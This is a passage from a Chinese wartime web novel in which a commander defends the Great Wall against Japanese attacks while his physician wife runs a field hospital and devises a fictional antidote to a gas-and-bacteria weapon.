“上面让人把枪收起来,让人把头低下去。”
陆淮锦猛地拔出腰间的佩刀,刀锋直指苍穹:
“但我陆淮锦的膝盖硬,跪不下去!”
“我们是中**人!如果连我们都跑了,这身后的百姓谁来护?这脚下的土地谁来守?”
“我知道,日本人有飞机,有坦克,有毒气。这一去,可能就是九死一生。”
“但是!”
他顿了顿,眼神决绝:
“宁做战死鬼
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,不做**奴!”
“你们,敢不敢跟我去拼命?!”
“敢!敢!敢!!”
五万人的怒吼声汇聚成一股惊雷,震碎了漠城上空的阴霾。
“好!”
陆淮锦大喝一声,“哪怕战至最后一人,也要把日本人的牙崩掉几颗!”
“出发!目标——长城防线!”
……
城门口,送别。
大军开拔。
沈晚清牵着陆念清的手,站在路边。
她没有哭,也没有劝阻。她只是默默地整理了一下陆淮锦的衣领,将一包刚刚配好的急救药塞进他的口袋。
“这是特效止血粉,还有保心丸。”
沈晚清看着丈夫,眼中是浓得化不开的深情与担忧,“省着点用。”
“放心。”
陆淮锦握住她的手,用力捏了捏,“你在后方也要小心。医学院和药厂是重中之重,日本人肯定会派特务破坏。”
“我知道。”
沈晚清点了点头,“你只管在前面杀敌。只要我活着,你的药就不会断。”
“爹爹!”
陆念清突然上前一步,敬了一个标准的军礼,“我和娘等你凯旋!等你把鬼子赶跑了,回来教我打**!”
陆淮锦看着已经长到自己腰间的儿子,欣慰地笑了。
他弯下腰,重重地拍了拍儿子的肩膀:
“好小子。帮爹照顾好你娘。如果……”
他话音一顿,没有说下去。
如果回不来,你就是陆家唯一的顶梁柱。
“走了!”
陆淮锦翻身上马,再未回头。
他带着这支北方最后的孤军,逆着撤退的人潮,迎着日本人的炮火,毅然决然地向着战火最炽烈的南方——长城隘口奔去。
因为那里,将是中华民族最后的防线。
身后,沈晚清一直目送着大军消失在风沙尽头。
“亨利。”
她转过身,看向身边的副校长,眼神变得无比坚毅:
“通知医学院所有师生。”
“高年级学员提前毕业,组成第一批战地医疗队,随我出发,追赶大部队。”
“低年级学员留守漠城,加速生产药品。”
亨利推了推眼镜,神色严肃地点头:“Yes,Madam。手术刀已经消毒完毕,随时可以战斗。”
风萧萧兮易水寒。
这一年,中华大地泣血。
但也正是从这一年开始,一个民族不屈的脊梁,在血与火中,被重新铸造。
第146章 坚守长城
北风卷地白草折,胡天八月即飞雪。到了十二月,燕山深处已是滴水成冰。
古老的**长城,像一条被冻僵的巨龙,蜿蜒盘旋在崇山峻岭之间。而在那残破的烽火台与垛口之上,五万名陆家军将士,正趴在冰冷的雪窝里,死死盯着关外。
“嗡嗡嗡——”
刺耳的轰鸣声撕裂了清晨的宁静。
三架涂着膏药旗的日军轰炸机,像秃鹫一样从云层中俯冲而下。
“隐蔽!防空!!”
前沿阵地上,营长的嘶吼声瞬间被巨大的**声淹没。
“轰!轰!轰!”
航弹落在长城的砖石上,炸起数丈高的烟尘碎石。几名来不及躲进防空洞的年轻士兵,瞬间被气浪掀飞,血肉模糊地倒在雪地里。
紧接着,是日军重炮群的覆盖式轰炸。
整个喜峰口都在颤抖。
长城敌楼,临时指挥部。
尘土簌簌落下,落在陆淮锦那张铺在**箱上的作战地图上。
他没戴钢盔,头发上落满了灰尘,双眼熬得通红,脸颊深陷,胡茬凌乱,整个人透着一股凶狠的杀气。
“司令!鬼子又上来了!”
满脸是血的宋虎冲进敌楼,大口喘着粗气,“这帮畜生仗着有飞机大炮,欺负咱们没有重武器,已经在罗文峪方向发起第三次冲锋了!”
“那是咱们的侧翼!绝不能丢!”
陆淮锦猛地拔出腰间的勃朗宁,眼神狠厉,“如果罗文峪丢了,喜峰口就成了孤岛,咱们这就成了死地!”
“可是司令,二团的**快打光了!汉阳造的射程不够,根本压不住鬼子的**阵地!”
陆淮锦咬了咬牙,一拳砸在城墙砖上,鲜血直流。
这就是国力的差距。
哪怕陆家军是精锐,但在立体化的现代化攻势面前,依然是用命在填。
“**打光了,就用石头砸!石头没了,就用牙咬!”
陆淮锦抓起一把大刀,那是他特意为这次战役准备的——每一把都重达四斤,背厚刃薄,专破日军的刺刀。
“传我命令!预备队顶上去!”
“告诉弟兄们,咱们身后就是北平,就是天津,是几万万父老乡亲!谁敢后退一步,老子亲手毙了他!”
……
下午三点,罗文峪阵地。
战斗已经进入了白热化。
日军仗着火力优势,一度冲上了长城的一处缺口。
“杀给给!”
一名日军小队长挥舞着指挥刀,狞笑着踏上了中国的城墙。
然而,迎接他的,是一声怒吼。
“去**小鬼子!”
一名陆家军连长,左臂已经被炸断,仅剩的一只右手挥舞着大刀,从**堆里跳了起来,一刀劈向那名日军。
“噗嗤!”
人头落地。
但这名连长随即被后续涌上来的日军数把刺刀同时捅穿了胸膛。
“别……别退……”
他口吐鲜血,身体死死地卡在缺口处,直到死,眼睛都瞪得大大的,盯着北方。
这样的场景,在长城的每一个垛口都在上演。
陆家军的战士们,用血肉之躯,硬生生地将武装到牙齿的日军挡在了关外整整一天。
……
深夜,寒风呼啸。
枪炮声终于稀疏了下来。双方都在舔舐伤口,准备着明日更残酷的厮杀。
陆淮锦巡视完阵地,回到指挥部。
空气中弥漫着浓烈的血腥味和焦糊味。
“伤亡统计出来了吗?”陆淮锦声音沙哑地问。
“……出来了。”
参谋长的声音在颤抖,“第一天……阵亡一千三百人,重伤两千……轻伤不计其数。”
陆淮锦的手猛地一抖,刚点燃的烟掉在了地上。
一天。
仅仅一天,三千多弟兄就没了。
照这个打法,这五万人,撑不过半个月。
“不能这么打了。”
陆淮锦捡起烟头,狠狠吸了一口,火光映照着他那双在黑暗中亮得吓人的眼睛,“跟鬼子拼火力,咱们是找死。得扬长避短。”
“扬长避短?”宋虎不解。
“鬼子的大炮飞机厉害,那是白天。”
陆淮锦站起身,走到瞭望口,看着外面漆黑的夜色,“到了晚上,那就是瞎子。而咱们手里的家伙……”
他抚摸着那把寒光凛凛的大刀。
“咱们的大刀,就是为了近战、夜战生的!”
“宋虎!”
“到!”
“从全军挑选五百名敢死队员,只要身手好的,不要怕死的!”
“每人一把大刀,两颗**。不带**,不带干粮。”
陆淮锦眼中杀机毕露:
“今晚,我要去摸鬼子的营!我要让他们知道,哪怕是拼冷兵器,中国人的骨头也比他们的刺刀硬!”
“是!司令!我也去!”宋虎热血沸腾。
“你留下指挥!”
陆淮锦一边把绑腿扎紧,一边将大刀背在背上,“这一仗,我亲自带队。”
“司令!不可啊!您是三军统帅……”
“正因为我是统帅!”
陆淮锦回头,目光如炬,“弟兄们都在看着我。如果我陆淮锦只会躲在后面发号施令,这仗还怎么打?!”
……
凌晨两点,日军宿营地。
这里距离长城防线有三公里,日军自以为火力压制成功,防备相对松懈。
五百个黑影,如同从地狱爬出的幽灵,借着夜色和风雪的掩护,悄无声息地摸到了日军的帐篷外。
陆淮锦趴在雪地里,脸上涂着黑炭,只露出一双眼睛。他盯着不远处正在烤火的日军哨兵,缓缓抽出了背上的大刀。
没有口令。
没有冲锋号。
陆淮锦做了一个“杀”的手势,第一个冲了
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出去。
手起刀落。
那名哨兵连哼都没哼一声,脑袋就搬了家。
紧接着,五百名大刀队员如同猛虎下山,冲进了日军的帐篷。
“杀!!”
直到此时,震天的喊杀声才骤然响起。
这是一场不对称的**,也是一场宣泄怒火的复仇。
睡梦中的日军惊慌失措地去抓枪,但在狭窄的帐篷里,**根本施展不开。而大刀队的短兵相接,却是刀刀致命。
“啊——!!”
惨叫声此起彼伏。
陆淮锦就像一尊杀神,大刀挥舞得密不透风。每一次挥砍,都伴随着温热的鲜血溅在脸上。他似乎忘记了自己是指挥官,忘记了生死,只记得——砍!**这群侵略者!
混乱中,日军的一处炮兵阵地被端掉,十几门重炮被炸毁。
整个日军大营乱成了一锅粥。
……
黎明时分。
大刀队趁着日军增援赶到之前,迅速撤回了长城。
这一夜,五百敢死队,回来三百人。
但他们**了近千名日军,炸毁了大炮,极大地打击了日军的嚣张气焰。
“痛快!真**痛快!”
宋虎给陆淮锦包扎着手臂上的一处刀伤,虽然心疼,但更多的是解气,“我看那帮小鬼子以后晚上还敢不敢睡觉!”
陆淮锦靠在城墙上,大口喘着气,脸上血迹斑斑,分不清是敌人的还是自己的。
他赢了这一局。
但他笑不出来。
他看着担架上抬下来的那一具具缺胳膊少腿的尸体,看着那些因为伤口感染而高烧呻吟、却得不到有效救治的伤兵。
随军的药品快用光了。
唯一的几名军医已经累晕了过去。
“水……给我水……”
一名年轻的小战士,腹部被刺刀挑开,肠子都流了出来。他抓着陆淮锦的裤脚,眼神渐渐涣散。
陆淮锦连忙蹲下,拧开水壶喂他,却发现水壶早就空了。
“司令……我疼……我想娘……”
小战士的声音越来越小,最后头一歪,手无力地垂了下去。
陆淮锦僵在那里,依然保持着喂水的姿势。
两行热泪,混着脸上的血污,滚落下来。
他不怕死。
但他怕这种无能为力的感觉。他的兵不是死在冲锋的路上,而是死在没有药、没有医生的等待中。
“电报员!”
陆淮锦猛地站起身,冲着敌楼嘶吼,声音悲怆到了极点:
“给后方发报!给沈晚清发报!”
“告诉她,前线……快撑不住了!”
“我需要医生!我需要药!就算是把我的家底全卖了,也要给我送医生来!!”
寒风呜咽,卷起漫天雪花,覆盖了长城内外的斑斑血迹。
这位铁骨铮铮的汉子,在这一刻,向他的妻子发出了最绝望的求救。
第147章 战地医院
“沈!你疯了吗?!”
亨利张开双臂,拦在那辆正准备发动的卡车前,寒风吹乱了他金色的头发,他急得脸红脖子粗:
“前线现在是地狱!日本人的飞机正在狂轰滥炸!你带着这群还没毕业的学生去,就是送死!作为副校长,我坚决反对!”
沈晚清站在车斗上,身穿厚重的军大衣,胳膊上戴着红十字袖标。她看着这位激动的法国老友,眼神平静得像一潭深水。
“亨利,你看过那份电报了。”
她缓缓开口,声音不大,却有着穿透风雪的力量,“前线已经断药三天了。每天有几百个战士因为伤口感染死去。他们也是还没毕业的孩子,也是爹娘的肉。”
“如果我不去,陆淮锦会死,那五万弟兄会死,长城会丢。”
“这里交给你了。”
沈晚清向亨利敬了一个标准的军礼,然后转身,对着车斗里那一百名面露惧色却眼神坚定的高年级学员,大声下令:
“全体都有!检查急救包!出发!”
“嗡——”
车队卷起漫天雪雾,像一条逆流而上的长龙,义无反顾地冲向了南方的战火。
亨利站在原地,看着那个决绝的背影,最终无奈地叹了口气,在胸口画了个十字:
“上帝保佑你,疯狂的女人。”
……
河北,喜峰口后方五里,三屯营。
十二月六日,黄昏。
当车队经过三天三夜的狂奔,冒着两次敌机轰炸,终于抵达这个距离前线最近的小镇时,所有人都被眼前的景象惊呆了。
这里已经不能称之为“营地”,而是一座人间炼狱。
到处都是担架,到处都是残肢断臂。
伤兵们躺在冰冷的泥地上,哀嚎声、呻吟声此起彼伏。空气中弥漫着浓烈的血腥味、腐肉味,还有屎尿的臭味。
几个留守的随军郎中早已累瘫在地上,两眼无神,手里拿着脏兮兮的纱布,根本不知道该先救谁。
“呕……”
几个没见过这场面的女学生忍不住捂着嘴,冲到路边干呕起来。
“不许吐!”
一声厉喝响起。
沈晚清跳下车,脸色苍白,但眼神如铁,“把眼泪和呕吐物都给我咽回去!穿上这身白大褂,你们就不是学生,是战士!”
她大步走进那片混乱的伤兵堆,迅速扫视了一圈,立刻展现出了极高的指挥素养:
“第一队,立刻清理那边的关帝庙!那是唯一有屋顶的地方,做手术室!用生石灰消毒,挂上白布!”
“第二队,架锅烧水!所有的器械必须煮沸消毒!”
“第三队,跟我来!进行检伤分类!”
沈晚清从怀里掏出红、黄、黑三种颜色的布条。
“听好了!呼吸困难、大出血的,系红布,立刻送手术室!”“骨折、清创的,系黄布,在偏殿处理!”“已经……没救的,系黑布……”
说到这里,她的声音颤抖了一下,但很快恢复冷硬,“给支**,让他们……走得体面点。”
随着沈晚清的一声令下,原本混乱不堪的伤兵营仿佛有了主心骨,迅速运转起来。
……
关帝庙,临时手术室。
深夜。
几盏汽灯将破败的大殿照得通亮。
关二爷的塑像前,搭起了三张简易的手术台。
“止血钳!”“缝合!”“擦汗!”
沈晚清站在中间的主刀位置,已经连续做了五个小时的手术。她的白大褂早已被鲜血染成了暗红色,脸上满是汗水和血污。
“校长!这个伤员腹部中弹,肠子破了!”一名学生惊慌地喊道。
“别慌。剪开衣服,备皮。”
沈晚清走过去,冷静地接手。
就在这时。
“轰——!!”
一发日军的流弹落在庙门外几十米处。
巨大的气浪震得房顶的灰尘簌簌落下,手术台都跟着剧烈晃动。汽灯摇曳,忽明忽暗。
“啊!”几个护士吓得尖叫,本能地想要抱头蹲下。
“站好!”
沈晚清手中的手术刀稳如泰山,连一丝颤抖都没有。她死死地盯着伤口,厉声喝道:
“只要房顶没塌下来,只要我不死,手术就不能停!”
“他的命在你们手里!给我把灯举高!”
在她的镇定感染下,学生们重新站直了身体,咬着牙,含着泪,继续手中的工作。
这一夜,这座破庙成了喜峰口最坚固的堡垒,从死神手里抢回了七十多条人命。
……
黎明时分。
枪炮声暂时停歇。
沈晚清处理完最后一个重伤员,摘下满是血迹的手套,整个人虚脱地靠在庙门口的柱子上。
她太累了,累得连手指都不想动。
就在这时,一阵急促的马蹄声由远及近。
“医生!医生在哪里?!”
一个粗犷而熟悉的声音传来。
沈晚清费力地睁开眼。
晨曦中,一个高大魁梧的身影跳下马,跌跌撞撞地冲进院子。他浑身焦黑,大衣被烧了好几个洞,脸上全是硝烟和胡茬,手里还提着一把卷了刃的大刀。
是陆淮锦。
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>他听宋虎说医疗队到了,夫人亲自来了,像疯了一样从前沿阵地冲了下来。
两人隔着满地的担架,隔着生与死的距离,四目相对。
“晚晚……”
陆淮锦的声音哽咽了。他看着妻子那张憔悴不堪、沾满血污的脸,看着她身上那件已经看不出白色的白大褂,心疼得像是被刀绞一样。
“你怎么这么傻……这里是前线啊……”
他想要抱她,却又怕自己身上的铠甲太冷,怕自己身上的血腥气熏到她,手足无措地站在那里,像个做错事的孩子。
沈晚清看着他。
看着这个曾经意气风发的少帅,如今变成了这副狼狈模样。但他还活着,这就够了。
她撑着柱子站直身体,嘴角勉强扯出一丝微笑,一步步走向他。
“陆司令。”
她伸出手,轻轻擦去他眼角的一滴泥点,“我来赴约了。”
“你的药,到了。”
陆淮锦再也忍不住,猛地冲上前,一把将她紧紧拥入怀中。
“晚晚!晚晚!”
他把头埋在她的颈窝里,滚烫的泪水瞬间打湿了她的衣领。
“对不起……是我没用……让你跟着我受罪……”
“说什么傻话。”
沈晚清回抱着他,感受着他剧烈的心跳,那是活着的声音。
“饿了吧?”
她从口袋里摸出半个早就凉透了的馒头,那是她昨晚没顾上吃的晚饭。
“只有这个了,咱俩分分?”
陆淮锦看着那半个冷馒头,又看着妻子温柔的眼睛,用力点了点头。
在这硝烟弥漫的废墟之上,在这随时可能死亡的战场边缘。
夫妻二人,背靠着那面弹痕累累的墙壁,你一口,我一口,分吃着这半个馒头。
这是世间最苦涩的饭。
也是世间最香甜的饭。
“吃饱了吗?”沈晚清问。
“饱了。”陆淮锦咽下最后一口,眼神重新变得锐利如刀。
“吃饱了,就回去打仗吧。”
沈晚清替他整理好衣领,拍了拍他肩上的灰尘:
“记住,别回头。”
“你的背后有我。只要还有一口气,我就不会让这里倒下一个兄弟。”
陆淮锦深深地看了她一眼,仿佛要将她的模样刻进灵魂里。
“保重。”
他翻身上马,大刀一挥,再次冲向了那片名为“长城”的绞肉机。
风雪更大了。
沈晚清目送他离去,随后转身,再一次走进了那间充满了血腥味的手术室。
战斗,还在继续。
第148章 血肉磨坊
大地在颤抖。
太阳还没出来,东方的地平线上,先升起了一片钢铁的乌云。
日军集结了两个精锐师团的兵力,在三十多架飞机和五十多门重炮的掩护下,对喜峰口发起了自开战以来最疯狂的总攻。
“轰轰轰——!!!”
炮弹像不要钱一样倾泻在长城隘口上。古老的砖石在现代火炮面前脆弱不堪,一段段城墙被炸塌,碎石伴着残肢断臂漫天飞舞。
整个喜峰口,被硝烟和火光彻底淹没。
一线指挥所。
陆淮锦从土堆里爬出来,吐掉嘴里的泥沙。他的左耳被震聋了,嗡嗡作响,只能看到宋虎张着大嘴在冲他嘶吼,却听不清在喊什么。
他抹了一把脸上的血,抓起望远镜看向前方。
山坡上,密密麻麻的日军像黄色的蚁群一样涌上来。在他们前面,是几辆喷吐着火舌的豆丁坦克,正在碾压陆家军简陋的战壕。
“司令!二团长阵亡了!三团长重伤!一号高地丢了!”
宋虎凑到他完好的右耳边大吼,声音里带着哭腔,“鬼子太多了!弟兄们顶不住了!”
“顶不住也要顶!”
陆淮锦一把推开宋虎,拔出指挥刀,双目赤红如血:
“告诉所有人,咱们身后就是咱们的老婆孩子!今天谁要是把鬼子放过去,老子做鬼也不会放过他!”
“预备队!跟我上!”
……
上午十点,长城豁口处。
这里已经不能称之为战场,而是一座地地道道的血肉磨坊。
双方为了争夺一个十几米宽的豁口,反复拉锯了十几次。尸体堆了一层又一层,后面的士兵踩着前面战友或者敌人的尸体继续冲锋。
鲜血在零下二十度的严寒中迅速冻结,把人和石头粘在了一起。
“咔哒。”
一名年轻的陆家军战士扣动**,却发现**打光了。
面前的日军挺着刺刀狞笑着逼近。
“小鬼子!你爷爷在这儿!”
战士扔掉**,捡起两块拳头大的石头,像疯了一样扑上去,用石头狠狠地砸向日军的钢盔,直到自己被另外两把刺刀捅穿。
在另一个垛口。
一位头发花白的老营长,那是跟了陆淮锦十几年的老伙计。此时他的肠子都被炸出来了,他用行军带死死勒住腹部,靠在墙角,手里紧紧攥着最后一颗集束**。
当一队日军冲上来时。
“陆家军!万岁!”
老营长用尽最后的力气拉响了**。
“轰——!”
血肉横飞。
这样的场景,在长城的每一寸土地上都在上演。
五万陆家军精锐,用他们的命,在填这个永远也填不满的无底洞。
……
下午两点,最危急的时刻。
日军的一支敢死队终于突破了侧翼防线,距离陆淮锦的指挥所只剩下不到两百米。
“保护司令!”
警卫连的战士们用身体组成人墙,死死堵住缺口。
“砰!”
一颗流弹飞来,直奔陆淮锦的胸口。
“司令小心!”
千钧一发之际,宋虎猛地扑过来,挡在了陆淮锦身前。
“噗嗤!”
**射入了宋虎的左肩,鲜血瞬间染红了他的军大衣。他闷哼一声,重重地摔倒在地。
“宋虎!”
陆淮锦扶住这个跟了自己半辈子的兄弟,看着他苍白的脸,心脏猛地抽痛。
“司令……我不行了……”宋虎嘴里涌出血沫,手里却还死死抓着枪,“您快走……留得青山在……”
“放屁!老子什么时候丢下过兄弟!”
陆淮锦把宋虎交给身后的卫兵,大吼道:“把他抬下去!送去夫人的医院!快!”
他站起身,看着近在咫尺的日军旗帜,看着周围越打越少的弟兄。
一种前所未有的绝望与悲壮涌上心头。
但他不能退。
“通讯员!给我接通后方医院!”陆淮锦抓起步话机,声音嘶哑。
“滋滋……这里是后方医院……请讲……”沈晚清疲惫而冷静的声音传来。
“晚晚。”
陆淮锦深吸一口气,看着漫天的风雪和硝烟,语气突然变得无比温柔:
“如果……我是说如果,我回不去了。”
“帮我照顾好团圆。告诉他,他爹不是孬种。”
电话那头沉默了两秒。
“陆淮锦,你给我听着。”
沈晚清的声音突然带上了哭腔,却依旧坚定无比
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,“我的手术台就在这里,离你只有五里地。你要是敢死,我就追到阎王殿去把你拉回来!”
“给我活着!”
“嘟嘟嘟……”电话挂断了。
陆淮锦听着盲音,愣了一下,随即仰天大笑。
“哈哈哈哈!好!听夫人的!活着!”
他猛地撕开已经被鲜血和汗水浸透的军大衣,露出里面单薄的衬衫,和那一身纵横交错的旧伤疤。
他捡起一把不知道是谁留下的大刀,刀刃已经卷曲,刀身上满是凝固的紫黑色血迹。
“勤务兵!伙夫!马夫!所有还能喘气的爷们儿,都给我站出来!”
陆淮锦站在高处,如同一头受了伤的孤狼,发出了最后的怒吼:
“咱们陆家军,没有孬种!”
“今天,就算是死绝了,也要把这帮畜生赶下长城!”
“大刀队!跟我冲!”
他第一个跳出了战壕,挥舞着大刀,冲向了那片黄色的浪潮。
“杀!!!”
在他身后,几百名浑身是伤的残兵,爆发出了最后的力量,义无反顾地跟随他们的统帅,发起了决死的反冲锋。
……
黄昏。
残阳如血。
日军终于被打退了,暂时撤下了阵地。
长城内外,尸横遍野,血流漂杵。积雪被彻底染成了黑红色。
陆淮锦拄着大刀,单膝跪地,大口大口地喘着粗气。他的身上又添了三处新伤,血水顺着衣角滴落在雪地上。
他赢了。
至少今天,他守住了。
他艰难地站起身,环顾四周。原本五万生龙活虎的弟兄,如今能站着的,已不足两万。
这是一场惨胜。
陆淮锦迈着沉重的步伐,在战场上巡视。
突然,他的目光停在了一处日军尸体堆旁。
那里有几个奇怪的、并没有**的金属罐子。罐体上画着醒目的骷髅标志,周围的积雪呈现出一种诡异的黄绿色,而躺在附近的几具陆家军士兵的尸体,面部发黑,口鼻流血,死状极其痛苦,并不像是刀枪所伤。
一股不祥的预感,瞬间笼罩了陆淮锦的心头。
这战场上的血腥味里,似乎混杂进了一种更加阴毒、更加灭绝人性的气息。
第148章 细菌战阴云
原本应该充满了伤兵呻吟声的医院,此刻却笼罩在一层诡异的死寂中。
只有从隔离帐篷里,偶尔传出几声令人毛骨悚然的、仿佛要把肺咳出来的嘶哑咳嗽声。
“快!把这几个人抬进那个单独的院子!任何人不许靠近!”
沈晚清穿着特制的防护服,脸上戴着两层口罩,声音透过布料显得有些闷,但却透着前所未有的焦急。
担架上,几个刚从前线运下来的伤员正在痛苦地扭动。
他们身上没有明显的枪伤或刀伤,但露在外面的皮肤上却布满了铜钱大小的黄色水泡,有的已经溃烂流脓。更可怕的是,他们的脸部呈青紫色,眼睛红肿流泪,呼吸极度困难,每一次呼吸都像是拉风箱一样。
“呕——”
一名年轻的护士正在给伤员清理呕吐物,那呕吐物呈现出诡异的黑色,散发着一股令人作呕的苦杏仁味混合着腐烂气息。护士手一抖,差点晕过去。
“换人!把她拉出去消毒!”
沈晚清一把推开那名护士,自己顶了上去,手中的银针迅速封住伤员的几大穴位,试图缓解他们的痉挛。
……
临时化验室。
亨利正趴在显微镜前,额头上全是冷汗。
“不可思议……这简直是恶魔的杰作……”
他喃喃自语,手在微微发抖,“沈,你快来看。”
沈晚清处理完伤员,匆匆赶来。她凑到显微镜前,只看了一眼,瞳孔便剧烈收缩。
视野中,除了被破坏的血细胞外,还活跃着一种她从未见过的、形态极具攻击性的杆菌。
“这是……鼠疫杆菌的变种?”沈晚清抬头,声音发寒。
“不只是鼠疫。”
亨利摘下眼镜,脸色苍白如纸,愤怒得浑身颤抖:
“伤员皮肤上的水泡是‘芥子气’造成的化学灼伤,这是一种早在欧战中就被《日内瓦公约》明令禁止的糜烂性毒气!”
“但日本人更狠毒。”
亨利指着化验单,“他们在毒气弹里混合了高浓度的细菌。毒气破坏人的呼吸道和皮肤防线,细菌则趁虚而入,直接攻击内脏。”
“这就是为什么那些士兵高烧不退、全身衰竭这么快的原因。”
“这是双重**!是**的罪行!”
沈晚清死死抓着桌角,指节泛白。
她想起了柳镇那些死于瘟疫的难民,想起了这几年日本人开设药厂的种种诡异行径。原来,他们早在多年前就开始布局,拿中国人做实验,研制这种**的武器。
“砰!”
就在这时,化验室的门被撞开。
陆淮锦大步走了进来。他并没有受伤,但脸色阴沉得可怕。身后的卫兵手里提着一个用油布层层包裹的铁罐子。
“晚晚,亨利。”
陆淮锦指着那个铁罐子,“这是弟兄们在阵地上缴获的。当时鬼子正准备往井里投这东西。”
“别打开!”
沈晚清和亨利同时大喊。
“放心,没开。”陆淮锦示意卫兵把东西放在远处的空地上,“那些**的鬼子都戴着防毒面具,被我们的大刀队**之前,还想把这东西炸了。”
他看向沈晚清,眼中满是担忧与杀意:
“前线很多弟兄都倒下了。不是**的,是被‘毒’倒的。”
“有的连长正在指挥冲锋,突然就瞎了眼,咳着血倒在战壕里。”
“晚晚,告诉我,这是什么鬼东西?有没有救?”
沈晚清看着丈夫那双布满血丝的眼睛,深吸一口气,强迫自己冷静下来。
“这是生化武器。芥子气混合细菌毒素。”
她语气沉重,“它比**更可怕。**只能杀一个人,这东西能杀一片,甚至……能通过空气和水源,把整个长城防线变成一片死地。”
陆淮锦闻言,身形晃了晃,拳头捏得咯咯作响。
“这帮畜生!”
“那现在怎么办?只能眼睁睁看着弟兄们烂死吗?”
“有救,但很难。”
沈晚清走到那堆化验数据前,大脑飞速运转,“芥子气的化学灼伤,我有中药方子可以外敷解毒。但那个变异的细菌……”
她眉头紧锁。
这种细菌极其霸道,现有的青霉素和磺胺对它效果甚微。而且一旦扩散,不用日本人打,瘟疫就能把陆家军灭了。
“我们需要一种特效解毒剂。”
沈晚清抬起头,目光在昏暗的灯光下显得格外坚毅:
“一种能同时中和毒素、杀灭细菌的复方药剂
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。”
“亨利,把你带来的所有洋药都拿出来,我要重新配比。”
“淮锦,你立刻下令封锁所有水源,所有士兵必须喝煮沸的水。发现发烧呕吐者,立刻隔离!”
陆淮锦看着她。此刻的沈晚清,不再是那个温柔的妻子,而是一位正在与死神博弈的统帅。
“好!”
陆淮锦重重地点头,“前线交给我,哪怕是用人墙挡,我也不会让鬼子再推进一步。”
“后面的阎王爷,就交给你了。”
……
凌晨三点,隔离区。
随着第一批**较深的伤员开始出现呼吸衰竭,死亡的阴影笼罩在每一个人的心头。
“水……给我水……”
一个只有十六岁的小战士,在担架上痛苦地抓挠着自己的喉咙。他的喉咙已经因为水肿而完全堵塞,脸憋成了紫酱色。
沈晚清跪在他身边,迅速切开他的气管,插入一根芦苇管(临时通气管)。
“别怕,吸气……慢慢吸……”
小战士终于吸进了一口空气,眼神稍微清明了一些。他看着沈晚清,流着泪,用口型无声地说了两个字:
“谢……谢……”
下一秒,他的手无力地垂了下去。
毒素攻心,神仙难救。
沈晚清僵在那里,看着这个比自己儿子大不了多少的孩子在自己怀里死去。
一种巨大的悲痛与愤怒,化作了燃烧的火焰。
她缓缓站起身,脱下满是血污的手套,转身走向化验室。
“亨利。”
她推开门,看着正在显微镜前焦头烂额的法国人。
“把实验室的门锁上。”
沈晚清的声音冷得像冰,却又热得像火:
“从现在起,除了送饭,谁也不许进来。”
“不研制出解毒剂,我们就不出这个门。”
亨利看着她眼中的光芒,深受震撼。他摘下眼镜,擦了擦镜片上的雾气,郑重地点了点头:
“好的,我的搭档。”
“为了上帝,为了这些可怜的孩子。咱们跟这群魔鬼拼了。”
窗外,寒风呼啸,夹杂着远处零星的炮火声。
在这座简陋的关帝庙里,一场没有硝烟、却更加惊心动魄的战斗,正式打响。
第149章 破解毒气
这已经是沈晚清和亨利把自己关进这间屋子的第三天。
七十二小时,除了喝几口浓茶,两人几乎没有合过眼。
屋子里弥漫着一股刺鼻的化学药剂味道,地上堆满了废弃的试管、草药渣和写满公式的草稿纸。
“该死!还是不行!”
亨利顶着一头乱糟糟的金发,愤怒地将手中的化验报告摔在桌上。他的双眼布满血丝,精神已经濒临崩溃的边缘:
“这种细菌的繁殖速度太快了!普通的磺胺就像是给它挠痒痒。我们提纯的青霉素虽然有效,但产量太低,根本救不了那么多人!至于那个芥子气……它破坏了肺泡,药物根本吸收不进去!”
亨利颓然地坐在椅子上,双手抱着头:
“沈,我们输了。这是魔鬼的武器,上帝也没办法。”
沈晚清没有说话。
她站在一排正在沸腾的中药罐前,手里拿着一把精致的银秤。炉火映照着她苍白如纸的脸,她的眼神虽然疲惫,却依然亮得惊人。
“上帝没办法,那就找阎王爷谈谈。”
沈晚清的声音沙哑,但手却稳如泰山。
她将一味味晒干的重楼、白花蛇舌草和半边莲放入药罐。这些都是中医里至寒至毒、却又专克热毒的草药。
“亨利,你发现了吗?那些**的战士,舌苔黄腻,高热不退,这是典型的‘湿热毒邪’攻心。”
沈晚清转过身,拿起一支试管,里面是她刚刚用蒸馏法从这些草药中提取出的高浓度萃取液——一种呈现出诡异墨绿色的液体。
“西药杀菌,中药排毒。”
“我们要做的,不是杀死每一个细菌,那是做不到的。我们要做的是中和毒性,护住心脉,让战士自身的免疫系统有机会反击。”
说着,她拿起注射器,吸取了那一管墨绿色的液体,然后走向那个关着小白鼠的笼子。
然而,笼子里的小白鼠早就因为之前的实验全部死光了。
新的小白鼠还没运到。
“没有实验体了。”亨利绝望地摊开手。
“有。”
沈晚清平静地说了一个字。
在亨利惊恐的注视下,她挽起了自己左臂的袖子,露出了那截白皙的手臂。
“沈!你干什么?!”亨利大惊失色,想要冲过来夺走注射器。
“别动!”
沈晚清厉声喝止了他。
她拿起桌上那个密封的、装有从伤员衣物上提取的毒素样本的玻璃瓶,用棉签蘸取了一点,毫不犹豫地涂抹在自己的手臂内侧。
“嗞——”
几乎是瞬间,那白皙的皮肤就开始泛红、起泡,一股钻心的灼烧感顺着神经直冲大脑。
沈晚清疼得额头冒汗,嘴唇都在颤抖,但她咬着牙,死死盯着那个迅速溃烂的伤口。
“记录反应时间……”她喘息着命令道。
“你这个疯子!彻头彻尾的疯子!”
亨利一边骂着,一边红着眼眶拿起笔,手抖得几乎握不住,“接触后三十秒,皮肤红肿,出现水疱……”
一分钟后,沈晚清感觉半条胳膊都麻木了,呼吸也开始变得急促。
就是现在!
她举起那支注射器,对着伤口周围的静脉,将那管墨绿色的药液缓缓推了进去。
这一刻,时间仿佛静止了。
亨利屏住呼吸,死死盯着沈晚清的手臂。
一秒,两秒,三秒……
一股清凉的感觉瞬间冲散了灼烧感。
原本还在不断扩大的红肿区域,竟然奇迹般地止住了边界。那个已经鼓起来的黄色毒水泡,虽然没有消失,但颜色开始慢慢变淡,从恐怖的紫黑色变成了暗红色。
“呼……”
沈晚清长出了一口气,整个人虚脱地靠在桌子上,脸上露出了这三天来的第一个笑容。
“亨利……成功了。”
“毒素被压制住了。”
亨利冲过去,抓起她的手臂仔细检查,激动得语无伦次:
“MyGod!MyGod!真的退了!红肿消退了!沈,你是个天才!不,你是圣人!”
“快!立刻量产!”
沈晚清强撑着身体站起来,眼前一阵发黑,但她知道现在还不能倒下。
“把所有的草药都拿出来,按照这个配比,用你的离心机萃取!”
“通知病房,准备注射!”
……
早晨八点,重症监护区。
